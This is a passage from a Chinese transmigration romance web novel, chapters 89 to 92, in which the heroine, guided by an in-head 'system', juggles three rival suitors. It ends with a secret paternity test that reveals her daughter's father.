即便这是他一个人的独角戏,却也能假装自己真的拥有了她。 哪怕只是一秒钟。 华美的戒指被套上了她的无名指,在那双宛如艺术品的手上更显美丽。 谢凛低头静静地看着,眸光不自觉柔软了许多。 他垂下头在那微凉的指尖轻轻落下一个吻。 算了,只要这戒指能讨得她的几分欢心,就算是值得。 其他的都不重要。 姜以柔正迷迷糊糊的时候,隐约间似乎也感觉到了手指上传来些许微凉。 但她实在提不起精神去探究,任凭自己陷入了梦乡。 第二天天光大亮的时候,姜以柔才悠悠转醒。她转头一看,发现谢凛并不在她身边,不知道去哪里了。 她伸了个懒腰,下一秒却顿住了。 因为她发现手指上多了个东西。 她愣愣地举起自己的左手,看到无名指上竟然多了个亮晶晶的钻戒。 这个钻戒很漂亮,很亮眼,一看就很贵。 姜以柔眨了眨眼睛,不由得把手举到眼前欣赏着,唇边翘起一个轻柔的弧度。 “宿主,反派该不会是要跟你求婚吧?” 脑海里突然响起的机械音把姜以柔吓了一跳,她身体都颤了颤。 她气得瞪圆了眼,不满地抱怨道:“你干嘛突然出声?吓死我了!” “哦,抱歉啊……”系统666讪讪的。 姜以柔眯了眯眼睛,突然间竟觉得666的机械音有一些陌生,不由得说道:“小六啊,我怎么感觉最近都没怎么见你呢?” 系统666沉默了一瞬,随即幽幽道:“宿主,要不你反思一下最近X生活的频率是不是太高了呢?” 他们系统对宿主都是有隐私保护的,一旦姜以柔要进行点少儿不宜的活动,666就会被迫强制关机。 最近他大半时间都在被迫休眠…… 姜以柔有些不自在地轻咳一声,不说话了。 系统666主动转移了话题,继续问道:“宿主,恶毒女配姜渔的黑化值只剩下20%了,咱们的任务马上就可以成功了,到时候,你就能在这个世界永远生活下去。” “谢凛这明显是在跟你求婚嘛,你会答应他吗?” 姜以柔想都没想,理所当然地说道:“当然不会。” 系统666沉默片刻,问道:“你不喜欢他吗?” “挺喜欢的啊。”姜以柔淡声道,“但是喜欢他就得跟他结婚吗?” 系统666沉默片刻,又问道:“那方隐年呢?” 姜以柔若有所思地摸了摸下巴,出乎意料地答道:“如果是方隐年的话,结婚也不是不行……” 系统666:“……?!” 系统666无比震惊地问道:“你……你更喜欢方隐年吗?我还以为你会更喜欢谢凛呢……” 姜以柔笑了笑,平静地说道:“我确实更喜欢谢凛一点。但是方隐年更有钱啊,跟他结婚的话,能分到一大笔财产……” 系统666都无语了,“宿主,你这个思想……不太对吧?!” 系统666时常被他家宿主那跳脱的思维震惊到。 她总是那么的随心所欲,好像不会把任何人和事放在心里,也不会被世俗的规矩所束缚。 每当她温柔地凝视谢凛时,连666都忍不住怀疑她爱上了他,但她转头却也能用同样的眼神去看别的男人。 实在是一个很温柔又很无情的矛盾体。 姜以柔却很自然地说道:“我只是想多搞点钱而已,有什么不对的?” “再说了,我如果跟方隐年结婚,占便宜的是他好吗?”姜以柔轻哼一声。 系统666沉默许久,才磕磕绊绊地问道:“那……你真的会跟方隐年结婚吗?那谢凛怎么办?” 姜以柔“啧”了一声,凉凉道:“还是算了,暂时没有结婚的打算。” “至于谢凛……”姜以柔垂眸看着左手无名指上的钻戒,有些无奈地叹了口气。 或许是因为收到过太多太浓烈的爱意,也或许是因为她天生心肠硬,总之,姜以柔从未真正爱上过什么男人。 但是……她有时候也会炙热的真心烫到。 姜以柔轻轻叹了口气,干脆不再纠结,撑起身体打算起床。她的脚刚一落地,就痛得轻嘶一声。 姜以柔忍着不适,去衣柜里挑衣服,换好衣服后,顺手把旁边的窗帘拉开了。 她随便往外面一张望,竟然在楼下看到一辆熟悉的豪车,是方隐年的。 姜以柔有点震惊地眨了眨眼睛—— 他该不会在下面呆了一整晚吧? 姜以柔直接拿出手机给他打了电话,方隐年几乎是立刻就接起来了。 他接起后并没有说话,手机那头是压抑的沉默。 姜以柔直截了当地问道:“方隐年,你在我家楼下干嘛?” 方隐年很久都没有说话,当他终于开口时,却莫名其妙地问了一句话: “姜以柔,你昨晚……睡得好吗?” 方隐年的嗓音从未如此嘶哑过,幽幽的带着彻骨的寒意。 姜以柔闻言眉梢轻挑,用一种能气死人的玩味腔调,漫不经心地说道: “我昨晚没睡。” 至于她昨晚为什么没睡,一整晚都做了什么…… 想必方隐年应该懂。 姜以柔好整以暇地勾了勾唇角,满意地听到了电话那头骤然粗重的呼吸声。 姜以柔的眸中漾着近乎恶劣的笑意,甚至还带着点期待—— 她真的很想知道,风光霁月、清心寡欲的方总,到底什么时候才能彻底爆发。 放出心底那禁锢着的,名为欲望的野兽。 接下来,姜以柔没再说话,方隐年也没有开口。 两人之间只有难言的沉默在发酵,其中又仿佛酝酿着别的东西。 这时,卧室门突然被打开了。 谢凛穿着围裙出现在门口,素来冷硬的脸庞难得温和,说道:“吃饭了。” 他看见姜以柔站在窗边打电话,眸光微闪,状似无意地问道:“在跟谁打电话?” 说着便一步一步朝她走去。 第90章 在谢凛一步一步朝她走近, 并紧紧盯着她的手机时,姜以柔神色自如冲他笑了笑。 然后,她没有丝毫隐瞒, 坦然地说道:“我给方隐年打电话呢。” 谢凛脚步一滞,站在原地面无表情地看着她,黑眸中渐渐积蓄起风暴。 姜以柔则恍若未见, 转头又继续冲着手机说话, “方总……” 然而下一秒她又愣住了,她低头看了眼手机上通话已挂断的界面, 有些不爽地皱了皱眉头。 方隐年这家伙,竟然敢先挂她的电话…… 姜以柔只很快就将他抛之脑后,转而笑着看向谢凛, 问道:“你做了什么饭啊?” 她如此若无其事, 坦坦荡荡,完全没有要跟他解释什么的意思。 谢凛沉默地盯着她,脖颈处的青筋都青青鼓动着。良久,他妥协般闭了闭眼, 哑声开口道:“做了粥。” 他没法跟姜以柔计较太多。 姜以柔眯起眼笑得很开心, “正好饿了。” 说着她便想要往餐厅走去,但一迈步,又疼得皱起了眉。 姜以柔很自然地冲他伸出手, 指使道:“抱我过去。” 谢凛沉默片刻,缓步上前, 一把将她拦腰抱起, 往餐厅走去。 姜以柔从善如流地环住他的脖颈,手上的钻戒晃了一下,存在感极强。 但她并未主动提起这个戒指, 谢凛不动声色地瞄了眼她的手指,抿唇同样沉默了。 两人在餐桌前坐定,像以前一样一起吃饭,姜以柔会时不时说笑,而谢凛每一次都会认真地给予回应。 他们之间又恢复了往常的亲密,谢凛神色平静,仿佛忘了先前的那个关于方隐年的小插曲。 直到一顿饭吃完,谢凛才突然说道:“我明天就走了。” 姜以柔愣了愣,下意识地追问道:“去哪儿?” 谢凛淡声道:“继续出差。” 姜以柔有点不理解,“怎么这么快又要去?” “本来出差就没结束,只是中途回来了一趟而已。”谢凛解释道。 姜以柔闻言挑了挑眉,眯着眼睛笑道:“你这么极限来回,就为了跟我睡觉啊?” 谢凛动作一顿,一双幽黑的眸子直勾勾地望向姜以柔,反问道:“你不喜欢?” 姜以柔的脸不由得一红,凑上前在谢凛颊边吻了一下,轻嗔道:“明知故问。” 谢凛眸色微深,顺势按住她的后脑,用力地吻了下去。 两人缠绵得差点再次擦枪走火,很久才恋恋不舍地分开。 他们额头相抵,谢凛深深地看着她的眼睛,粗糙的掌心轻轻摩挲着她的侧脸,拇指暧昧地擦过她湿润红肿的唇。 然后,谢凛的手缓缓下落,握住了姜以柔的手。 他轻轻摩挲着她的指根,尤其是那个粉钻戒指,良久,他抿了抿唇瓣,低声问道:“你喜欢吗?” 谢凛紧紧盯着她,狭长幽黑的眸中涌动着莫名的情绪,几乎就要溢出来。 姜以柔假装没看出他的欲言又止,她眨了眨眼睛,笑得很甜,“当然喜欢了!” 她举起手在谢凛面前炫耀地展示了一番,很骄傲地扬了扬下巴,笑道:“眼光不错嘛。” 姜以柔倾身在他唇上印了一个吻,“这是奖励。” 谢凛定定地看着她许久,黑眸中有浓烈的情绪在翻涌,最后化为一片沉寂。 良久,他喉结微滚,用微哑的嗓音淡声道:“喜欢就好。” 他们心照不宣,都没有提起这枚钻戒的更深层的含义。 很快,姜以柔借口身体不舒服,转身又回了卧室。 谢凛默默地目送姜以柔回房,他隐忍地捏紧了拳头,颤动的眸底是深刻的痛意。 或许正因为他早知道姜以柔的答案,才会在她睡着的时候套上那个戒指。 假装那只是个普通的礼物,实际上却是他不敢宣之于口的野心。 谢凛缓缓闭了闭眼睛,再睁开时,眸底一片冰凉的沉默。 姜以柔又睡了个回笼觉,醒来后,一想到谢凛明天又要离开,她就忍不住想缠着他。 谢凛也被她缠得无心干正事,两人被子一蒙,闹得昏天黑地。 直到吃晚饭的时间,他们才一起上了楼,找姜父姜母蹭饭。 他们刚在餐桌前坐下,大门便被敲响了,打开门之后看见来人,一家人全都沉默了—— 竟然又是方大少! 姜以柔微微一怔,有些哭笑不得地问道:“你怎么又来了?” 方镜麒单手插兜,下颌微扬,依旧是那副骄傲张扬的少年气,他说道:“我来找姜渔补课。” 这时,姜母有些为难地说道:“哎呀,小渔说今天放学要去给同学过生日来着……” 方镜麒闻言愣了愣,这才隐约想起,好像是那个叫乐柠的女生过生日吧? 但无所谓,反正他的目的又不是真的找姜渔补课。 所以,方镜麒极其自然地踏进了屋内,随口道:“没事,我在这儿等她回来。” 一进屋,方镜麒的眼神就忍不住粘在姜以柔身上。 然后他就发现,姜以柔此时的状态……有些奇怪。 娇艳的面颊上浮着一层淡粉色,潋滟的眸子水润润的,眼角眉梢都漾着股说不出的风情。 但凡他知人事,就能猜到姜以柔这是被滋润过的模样。 可惜方镜麒不知道,所以他只是怔怔地看着姜以柔出神,眼神灼热。 就在这时,一道高大的身形挡住了他望向姜以柔的视线。 谢凛刚才在厨房做饭,此时端着一盘菜放到餐桌上,还恰到好处地挡住了方镜麒的目光。 谢凛冷冷地扫了方镜麒一眼,眸光冰冷,蕴着浓浓的警告之意。 方镜麒先是愣了一瞬,随即立刻沉下脸,咬着牙质问道:“你怎么在这里?” 谢凛慢条斯理地摘下围裙,看都懒得看他一眼,淡声道:“我在这里,比你出现在这里更名正言顺。” 一句话将方镜麒气得咬牙切齿。 然而事实更令他郁卒。 姜父姜母对谢凛都是一副很自然很亲近的模样,“小谢,你帮我拿一下锅铲。” “小谢啊,你看着点小柔,别让她挑食。” 但他们对待他却完全是客客气气的礼貌,“方同学,正好吃饭了,要不你一起吃点儿?” 方镜麒抿了抿唇,只觉得心里涩涩的难受。 他和他们之间好像有一层打不破的壁障,他们是相亲相爱的一家人,而他只是个外人。 方镜麒深吸一口气,强压下心里的不爽,扯出一个笑容:“好,谢谢阿姨。” 方镜麒多少有点长进了,至少现在不会一个不顺心就发脾气,,懂得表面的隐忍了。 方镜麒冲两位老人笑了笑,乖乖地在餐桌上坐了下来,只是偶尔望向谢凛的眼眸里满是憎恶。 谢凛同样也很讨厌他,只是碍于姜父姜母才没有直接将他扔出去。 姜以柔懒得管他们之间的弯弯绕绕,拿起筷子就要吃饭。 这时,方镜麒眸光轻扫间,突然凝固在了她的手上——那个戴在无名指上的钻石戒指。 方镜麒瞬间瞪大了眼睛,猛地从座位上窜了起来。他面色阴沉得可怕,凤眸里染上了猩红之意。 他颤抖着声音问道:“你……你该不会要跟他结婚了吧?” 如果她真的要结婚……那他是没机会了吗? 姜以柔还没来得及回答,姜父就抢先开口道:“是,他俩早晚都要结婚的。” 姜父早就对方镜麒喜欢闺女这事儿看不顺眼了,此时特意说出这句话,就是想让他死心。 姜以柔垂眸看了眼无名指上的钻戒,配合地没有解释什么,只冲着方镜麒淡淡一笑,像是默认。 方镜麒刚才强装出来的“成熟”立刻碎得一干二净,他忍不住拔高了声音,愤怒地说道:“你怎么能跟他结婚呢?他根本配不上你!” 姜以柔有些头疼地揉了揉眉心,她突然想起,方隐年是不是在她家楼下来着? 只是她打完那个电话后,就完全把他抛在了脑后,没再联系他,不知道他现在离开了没有。 不管他是否离开了,姜以柔都默默地拿出手机给他发了条消息,毫无负担地使唤他——依旧是让他来把自己的魔王侄子带走。 消息发出后,姜以柔收起手机,淡淡地看向方镜麒,说道: “方少爷,要吃饭就安静一点,不然你就离开吧。” 方镜麒腮侧微鼓,狠狠咬着牙瞪她,凤眸中泻出几分委屈。 过了一会儿,他似乎也察觉到自己有些失控了。 姜以柔不会喜欢不成熟的他。 意识到这一点后,方镜麒发热的大脑迅速冷静下来,他深呼吸几次,面色逐渐恢复了平静,僵硬地坐回了位置上。 他微微低着头,轻声道歉:“抱歉,我刚才太激动了。” 闻言,姜以柔诧异地挑了挑眉梢,似乎有些不敢相信他竟然忍住了脾气。 姜母幽幽地叹了口气,用公筷帮他夹了块排骨,温声道:“吃饭吧。” 尴尬的氛围逐渐被打破,众人开始吃饭,默契地当刚才的事情没发生过。 吃饭的时候,方镜麒每吃一口菜,都能尝到熟悉的味道—— 因为他以前吃的所有“姜以柔爱心餐”,都是谢凛做的。 一想到他之前傻乎乎地吃了情敌做的饭,方镜麒就觉得心里直冒火。 他偷偷戳了戳碗里的米饭,恨恨地直咬牙,却只能苦苦忍耐,差点把自己憋成内伤。 吃完饭后,方镜麒以等姜渔回家为由,依旧赖在姜家。 趁着谢凛去厨房里洗碗的时候,方镜麒将想要回卧室的姜以柔堵在了门口。 少年人挺拔的身躯牢牢挡住了姜以柔的前路,让她不得不正视这个强势的大少爷。 “姜以柔,你真要跟他结婚?”方镜麒垂眸紧紧盯着她,从牙缝里挤出这几个字。 姜以柔对这位大少爷的执著分外无奈,她被缠得烦了,也懒得跟他多费口舌,干脆直接“嗯”了一声,算是承认。 她的本意是让方镜麒知难而退,然而…… 方镜麒得到她肯定的回答后,脸色一阵变幻,狭长的凤眸黑沉沉的,翻涌着复杂的情绪。 恰在此时,家里的大门开了,可姜以柔和方镜麒都没有注意到。 片刻后,方镜麒深吸一口气,似是下定了什么决心一般,认真地说道:“姜以柔,就算你结婚了也没关系,我还是喜欢你。” 方镜麒猛地抓住了她的手,急切道:“给我一个机会吧,我可以帮你一起瞒着那个姓谢的!” 方镜麒掷地有声地说道:“我愿意当小三!” 姜以柔:“……” 姜以柔震惊地盯着他。 这时,不远处传来重物落地的声音。 姜以柔循声望去,只见她的便宜闺女正目瞪口呆地看着这一切,手上的书包都掉在了地上。 而姜渔的旁边,竟然是方隐年。 方隐年似乎是没休息好,面色有些憔悴,此时他正目光幽幽地盯着自家侄子,缓缓捏紧了拳头。 姜以柔很快回过神来,她玩味地挑了挑眉梢,意味深长地睨向方隐年。 那眼神仿佛在说: 让你装矜持,看见了吗?连你侄子都上赶着当小三呢。《 》 90-100 第91章 姜以柔似笑非笑的目光在方家叔侄身上来回扫视, 眼里的玩味几乎要溢出来。 这叔侄俩可真有意思。 一个都到她床上了还装柳下惠,一副清高贞烈不屑于插足的模样,另一个却上赶着想当小三。 姜以柔若有所思地眨了眨眼睛, 脑海里突兀地蹦出一个念头: 如果方镜麒真的当了她的小三,方隐年被气死的可能性有多大? 总之可能性绝对不为0。:) 姜以柔特意深深地看了方隐年一眼,唇角勾起的弧度带着些许讽意。 那清凌凌睨着方隐年的眸子依旧在说: 看吧, 都说了我不缺你这一个男人。 你不想做的事情, 有的是人上赶着。 而且那人还是你亲侄子。 方隐年背在身后的手紧紧握起,手背上迸出隐忍的青筋, 他冷冷地盯着自家侄子,凤眸锐利如刀。 方镜麒听到异响后,立刻回头看去, 在看到方隐年的时候, 面色瞬间难看下来。 他将拳头捏得咔咔作响,咬牙切齿地恨声道:“方隐年,你他妈能不能别这么阴魂不散!” 每次他来找姜以柔,他总要出现! 方镜麒简直气得一佛出世二佛升天, 鼻子都在喷火。 方隐年深吸一口气, 凤眸沉凝地盯着他,沉声道:“方镜麒,你知不知道廉耻?” 他怎么能如此坦然地说出要插足别人的感情? 闻言, 方镜麒毫不掩饰地翻了个白眼,冷嗤一声道:“你有什么资格说我啊?难道你心里就没鬼吗?” 这声质问一出口, 方隐年眸光骤沉, 脸色也变得有些难看。 他的眼神不受控制地瞥向姜以柔,在看到她脸上似笑非笑的玩味时,被刺痛一般瞬间移开了视线。 再回想起那个混乱的晚上, 方隐年是愧疚的,煎熬的,可同时……也是念念不忘的。 方隐年神色微僵,眸底掠过一丝自嘲—— 他好像确实没什么资格去质问方镜麒。 因为他……已经做过一些很不知廉耻的事了。 方隐年呼吸有些发紧,近乎狼狈地闭了闭眼睛。 一般来说,方镜麒最讨厌的人就是他那个管东管西又道貌岸然的小叔,每次两人处于同一空间,他总会不遗余力地刺痛他。 但此时,方镜麒只简单嘲讽了方隐年一句,就没再搭理她,只紧紧盯着姜以柔。 他凤眸里燃着不甘的怒火,压低嗓音说道:“姜以柔,你不能跟他结婚!” 方镜麒突然抓起姜以柔的手,指着她手上的钻戒不屑地说道:“就这么个破戒指,也值得你嫁给他?” 旁边,方隐年闻言微微一怔,随即眼神立刻变了,他死死盯着姜以柔无名指上的钻戒,只觉得一阵天旋地转,胸口处传来深刻的痛意。 “你……你要结婚了?”方隐年喉结微滚,语气涩然地问道。 明明他还曾幻想姜以柔分手的那一天,到时候他们就可以堂堂正正地在一起,可为什么…… 他非但没能等到姜以柔分手,反而等来了她要结婚的消息? 难道……他要一辈子名不正言不顺地跟在她身边吗? 当方隐年心里浮现出这个念头时,他微微一怔,随即涌上心头的是巨大的荒谬感。 在知道姜以柔很可能结婚后,他第一时间想的竟然不是结束这段错误的关系,而是如何继续…… 他好像没救了。 方隐年面无表情地想道,背在身后的手紧紧攥起,指甲都掐紧了掌心。 面对方隐年的质疑,姜以柔还没来得及回答,方镜麒凉凉的目光便先瞥了过来。 少年眉眼张扬而凌厉,他冷冷地勾起唇角,嘲讽道:“方隐年,她结不结婚关你什么事?” 方镜麒下颌为扬,倨傲地睨着他,眸中的嘲讽几乎要溢出来。 “你可别动歪心思啊,毕竟……你最知廉耻了,对吧?”他用最凉薄的语气说着最刺人的话。 这时,姜以柔用力扯回自己的手腕,不爽地瞪了方镜麒一眼,斥道:“别胡闹了!” 方隐年有这种讨债鬼侄子,也是倒霉。 姜以柔当然没打算跟谢凛结婚,只是,她完全没打算解释什么。 这方家叔侄俩真是一个比一个讨人厌,气死他们最好。 方镜麒朝她逼近一步,有些急切地低声道:“我说真的,这破戒指也就几千万吧,不值得你嫁给她!” 恐怕也只有金尊玉贵的方大少才能说出“也就几千万”这种话了。 方镜麒紧紧盯着姜以柔,一字一句认真道:“姜以柔,你可千万别被这些蝇头小利给骗了。” “我那里有很多比这更贵的珠宝,我全都送给你,怎么样?”方镜麒迫不及待地说道,像个急于献宝的小孩子。 姜以柔淡淡地瞥他一眼,哼声道:“你现在都还靠你小叔养呢,说什么大话?” 方镜麒却嫌弃地撇了撇嘴,立刻反驳道:“谁靠他养了?我才不靠他养呢!” 方镜麒认真地解释道:“我爸妈和爷爷奶奶去世前,把方家的一半财产都留给我了,只是在我未成年之前,由方隐年代持而已。” 方镜麒试探地伸出手,再次拉住了那只柔软滑腻的手,郑重地说道:“姜以柔,我拥有的一切,都可以送给你,只要你别跟他结婚!” 姜以柔诧异地挑了挑眉,不由得上下打量起这位嚣张跋扈的大少爷。 她倒是真没想到,原来他这么有钱。 姜以柔不由得睨向一旁的方隐年,似笑非笑地问道:“方总,你不打算管管你侄子吗?难道要任凭他把家产拱手送给我?” 方隐年沉默地看着他们,一双凤眸深不见底。 良久,他淡声道:“他自己的财产,由他自己处置。” 方隐年面色平静,只有他自己才知道,平静的湖面下是怎样的骇浪。 他想,如果真的能阻止姜以柔结婚,那…… 他甚至可以把自己的那一半财产一同奉上。 见方隐年似乎真没有阻拦的打算,姜以柔更震惊了。 也就是说……如果方镜麒是认真的,那么她不需要和方隐年结婚,也能分到方家一半的财富? 姜以柔忍不住紧紧盯着方镜麒问道:“你说真的?” 方镜麒见她似乎有些动容,立刻眼睛一亮,再次郑重地点头道:“当然!” 这一瞬间,姜以柔竟然真的心动了。 就在这时,谢凛眉眼冷凝,大踏步朝此处走来,面色沉得几乎要滴出水来。 他迅速来到姜以柔身旁,一把揽住了她的肩头,冰冷的视线射向对面的两个男人。 犹如雄狮在低吼着示威,守护自己的领土。 谢凛的视线在方镜麒身上一掠而过,随即落到方隐年身上,眸色沉冷。 显然,在他眼中,方隐年要比方镜麒更具威胁。 谢凛凤眸微眯,寒声道:“带着你侄子,赶紧滚。” 方镜麒瞬间被引爆了,他愤怒地指着谢凛骂道:“你特么让谁滚呢?” 谢凛冷笑一声,闪电般迅疾出手,一把攥住了他的手腕。 他缓缓收紧五指,用力到手背上青筋微凸,一字一句警告道:“这只手也不想要了是吧?” 方镜麒瞬间被他激怒,哪怕知道谢凛的身手在他之上,也毫无惧色。他猛地冲上前,就想要跟谢凛动手。 谢凛自然不会怕他,另一只手已经攥成了拳,下一秒就能砸到他脸上。 方隐年烦躁地皱了皱眉头,再也无暇思索其他,沉着脸上前阻拦——主要是防止自家侄子受伤。 “镜麒!”方隐年并不针对谢凛,只警告性地冲侄子轻喝一声。 方镜麒冷笑一声,然后这混小子竟然直接无差别攻击,连着他小叔一起揍。 方隐年怔了一瞬,随即不由得黑了脸。 姜以柔看热闹不嫌事儿大,竟然就这么在旁边看着,脸上还带着满是兴味的笑意。 姜渔早就完全傻了眼,她愣愣地看着眼前的三个男人,再回想起刚才听到的方镜麒自荐枕席的话…… 只觉得三观都被打碎重塑了。 卧槽,这群男的太可怕了。 她不由得看向姜以柔,看着她笑意盈盈地模样,这一瞬间又有点理解这群男的了。 怪不得他们要打得头破血流呢。 嗯……如果她妈妈看得开心,那就让他们多打一会儿好了。 姜渔毫无心理负担地杵在旁边,跟姜以柔一起观战。 但很快,厨房里的姜父姜母就被惊动了,他们连忙出来劝架,满脸的慌乱。 “哎呀,别打,别打啦……” 两位老人一加入,三人不约而同地停了手,大概是怕误伤他们。 最后,经过两位老人的调解,三个人分别在沙发上坐了下来,每个人之间都隔着老远,脸色各有各的难看。 姜母头疼地叹了口气,“有啥话不能好好说呢……” 姜父也语重心长地说道:“你们可千万别再打了。” “小谢,不是我说你,你咋能跟小方一个孩子计较呢?他手还伤着呢!”姜母嗔怪道。 因为方镜麒救了孙女的事,姜父姜母一直对他心怀愧疚。再加上他们把谢凛看作自己人,所以出言责怪了他几句。 谢凛只觉得喉头一哽,抿着唇脸色阴沉。 方镜麒则得意地挑了挑眉梢,不屑地冷哼一声。 方隐年撑着膝盖微微倾身,他垂着脑袋,看不清他的神色,只浑身散发着股阴郁的气息。 三个男人就这般针锋相对地对峙着,谁都不肯退让。 姜以柔懒得搭理他们,施施然走到便宜闺女身边,有些惊讶地打量着她,说道:“小渔,你今天怎么这么漂亮?” 姜渔依旧穿着校服,但脸上画着淡妆,还编了个很好看的发型,整个人特别可爱。姜以柔忍不住上前揉了揉她的小脸蛋。 姜渔面色一红,睫毛飞速颤抖着,似乎很不自在,她抿唇说道:“乐柠家的化妆师给我画的。” 今天是乐柠的生日,下午刚放学,他们一个班里的同学就去了乐柠家的别墅。 到了那里之后,突然有个自称化妆师的人找到她,非要帮她化妆做头发,她怎么拒绝都不行。 其他同学也被提供了妆发服务,个个都很惊喜,她便没有扫兴,答应了。 只是她的化妆师手法不行,编头发的时候把她扯痛了,估计掉了好几根头发。 姜渔不由得摸了摸自己的脑袋。 这时,姜父也出声问道:“你之前不是说,可能在朋友家住下吗?咋这么快又回来了?” 闻言,姜渔抿了抿唇,随口敷衍道:“不想麻烦他们,就回来了。” 其实她差点就留在乐柠家了。 只是……给乐柠过生日的时候,她总觉得林松齐在用一种很古怪的眼神盯着她。 可等她望过去的时候,林松齐总是在和别人谈笑,并未对她过多关注,仿佛一切只是她的错觉。 但不知为何,姜渔心里莫名有种发毛的感觉。 于是在生日宴会结束后,她不顾乐柠的挽留,坚决离开了。 乐柠家的别墅离她家很远,乐柠提出要送她,她也没同意,直接跑走了,坐了两个小时的公交才到家。 在楼下的时候,她恰好遇到了方隐年,于是两人就一块上来了。 只是没想到,一来就遇到如此刺激的情况…… 姜渔不由得偷瞄着那三个男人,他们之间的气氛非常可怕,仿佛随时要把对方打死。 就在这时,姜家的房门突然被砰砰敲响了。 敲门声急促而凌乱,让人不由得心头一紧。 姜渔一瞬间有些慌乱,不过很快她就想起,家里可是有三个人高马大的男人呢,顿时什么都不怕了。 姜渔前去开了门,外面却是一个令她意想不到的人—— 乐柠。 乐柠身上还穿着她在生日宴会上的礼服,一条很好看的公主裙,可此时,那条公主裙却沾着些脏污,她的膝盖也磨破了,似乎是摔了跤。 原本精致的妆发变得凌乱,乐柠整个人都显得十分狼狈。 最让人心揪的是,她一双杏眼通红,脸上满是泪痕,那伤心崩溃的神色让人心疼。 姜渔心里一紧,下意识地想要关心她,却怎么都开不了口。 姜以柔皱了皱眉,立刻走到她面前,温声问道:“乐柠同学,你这是怎么了?” 乐柠怔怔地看着姜以柔,一双大眼睛里突兀地落下泪来。她颤抖着声音问道:“姜阿姨……小渔是你和我爸爸的孩子吗?” 她话音一落,姜以柔顿时愣住了。 旁边,姜渔只觉得脑海中有一道惊雷劈过,摧毁了她的一切理智。她脑海里只剩下一个念头—— 完了。 另一边,沙发上的三个男人清楚地听到了乐柠的话。 他们不约而同地瞬间起身,目光灼灼地盯着她。 “你说什么?” “你……再说一遍?” 这一刻,刚才还针锋相对的三个男人,竟罕见地一致对外。 他们死死盯着乐柠,仿佛下一秒就要将她口中的“爸爸”挫骨扬灰。 第92章 乐柠原本正哭得厉害, 一双杏眼肿成了桃子。然而此时此刻,整整三双阴鸷幽深的眼睛死死盯着他,直接把她的眼泪全吓了回去, 她还不由得打了个哭嗝。 小姑娘缩了缩脖子,这时才看到姜渔家里竟然有三个大男人。 且个个身形高大、气势惊人。 三个人中,最先沉不住气的当然是方大少。 他蹭的一声站起身来, 满面怒容, 配上他那头短刺刺的毛寸,看着就很不好惹。 他大踏步朝乐柠走去, 习惯性地想揪住人的脖领做威胁状,下一秒又意识到对方是女生,便只能硬生生忍下冲动, 他恶狠狠地瞪着她, 问道: “你什么意思?你说姜渔是你爸的亲生女儿?” 那……乐柠她爸岂不就是姜以柔的前夫?! 方镜麒随即不敢置信地瞪向姜以柔,忍不住问道:“你老公不是死了吗?怎么又活了?” 姜以柔:“……” 很快,谢凛也面色沉凝地走近,他虽然不像方镜麒那般激动, 但也紧盯着乐柠, 一字一句沉声问道:“说清楚。” 方隐年算是表现得最平静的一个,但从他紧握的手掌来看,他的心里恐怕并没有那么平和。 眼看着小女主被这三个男人吓得连连后退, 姜以柔无奈地叹了口气,上前拉住了她冰凉的手掌, 温声道:“先进来说吧。” 乐柠愣愣地看着她温柔浅笑的美丽脸庞, 感受着手掌上传来的源源不断的热意,眼眶一酸,险些再次落下泪来。 她顺从地跟着姜以柔进了门, 路过姜渔身边时,看着姜渔苍白的脸和无神的眼睛,仿佛丢了魂儿一般,乐柠有些纠结地咬了咬唇,一时间有些后悔自己的冲动。 姜以柔自然也察觉到了姜渔状态不对,安抚地摸了摸她的脑袋,温声道:“别怕,没事的。” 感受着头顶轻柔的力道,姜渔终于恍惚回神,她抿唇望向姜以柔,在看到她眼底一如往常的温柔笑意时,莫名安心了许多。 姜以柔把两个女孩安置在沙发上,还亲自给她们倒了杯热水缓神。 然后,她淡淡地瞥了眼剑拔弩张的三个男人,凉凉道:“别吓到人家小姑娘了。” 三个男人都沉默了,他们的脸色仍旧难看,但终究收敛了一些。 恐怕也只有姜以柔一个人,才能一句话将他们同时稳住了。 姜以柔怕两位老人突然知道林松齐的事后,急火攻心,便特意找借口支开了他们。 剩下的他们围坐在客厅里,沉默间有种暗潮涌动的气氛。 姜以柔微笑地看着乐柠,温声问道:“乐柠,你是怎么知道这件事的?” 乐柠不由得攥紧了手里那张薄薄的纸张,红着眼睛说道:“我的生日宴刚结束,爸爸就接了个电话离开了,后来有人给他送了份文件,我一时好奇打开看了……” 姜以柔接过那张纸,定睛一看——是一份亲子鉴定书,上面清清楚楚地写着林松齐和姜渔确认有血缘关系。 姜渔死死盯着那薄薄的一张纸,只觉得从头凉到脚—— 林松齐是什么时候做的亲子鉴定? 她很聪明,立刻就想到了刚参加的生日宴会——莫名其妙地有人上来给她做妆发,而在做头发的过程中,她明显感觉到头皮有些刺痛,像是头发被扯掉…… 姜渔猛地站起身来,愤怒地瞪向乐柠,寒声质问道:“你大费周章请我去生日宴,就是为了算计我?!” 乐柠先是愣住,然后瞬间委屈地红了眼眶,忍不住大声反驳道:“我请你去生日宴,只是因为把你当朋友而已!哪里有想算计你?” 姜以柔赶紧拉住姜渔的手,安慰道:“小渔,别激动。” 姜渔刚才一时气血上涌,现在冷静下来想想,按照刚才乐柠那崩溃的反应,她自然不可能提前猜到她和林松齐的关系,那么……一定是林松齐利用了这次生日宴,偷偷弄到她的头发后,瞒着所有人去做了亲子鉴定。 想明白其中关窍后,姜渔有些不自在地抿了抿唇,她在为刚才的一时冲动而纠结,却又拉不下脸来道歉。 好在乐柠并没有在乎她的误解,只是眼泪汪汪地盯着姜以柔,颤声问道:“姜阿姨,这到底是怎么一回事?求求你告诉我吧……” 她真的搞不懂,为什么她最爱的爸爸突然间有了另一个女儿,而那个人还是她认定的好朋友。 这对一个天真纯良的少女来说,无异于天塌了,整个世界观都要崩碎。 不光乐柠想知道,其他几个男人也目光灼灼地盯着她,在等一个答案。 姜以柔其实也刚知道真相没几天,她之所以没立刻说出去,是因为林松齐这个人明显关系到姜渔最后的黑化值能否彻底清除。 她本打算找一个合适的时机引爆这件事,顺便帮姜渔解开心结,但没想到这件事先被乐柠捅出来了。 既然这样,姜以柔也没再隐瞒,把自己知道的事情都说了一遍。 姜以柔是半路穿过来的,说起这些陈年旧事来,就像是在说别人的故事,语气冷静到近乎无情,但其他人就不这么想了。 众人紧紧盯着姜以柔,面色复杂难言。 姜渔的神情尤其复杂,她颤抖着声音问道:“你……你原来早就知道了?” 姜渔一直以为,姜以柔和林松齐都没有认出彼此,还数次为此而感到庆幸,却没想到……他们俩都心知肚明。 姜以柔笑了笑,随口找了个合适的理由,“毕竟是你爸爸,见面了认出对方也很正常。” 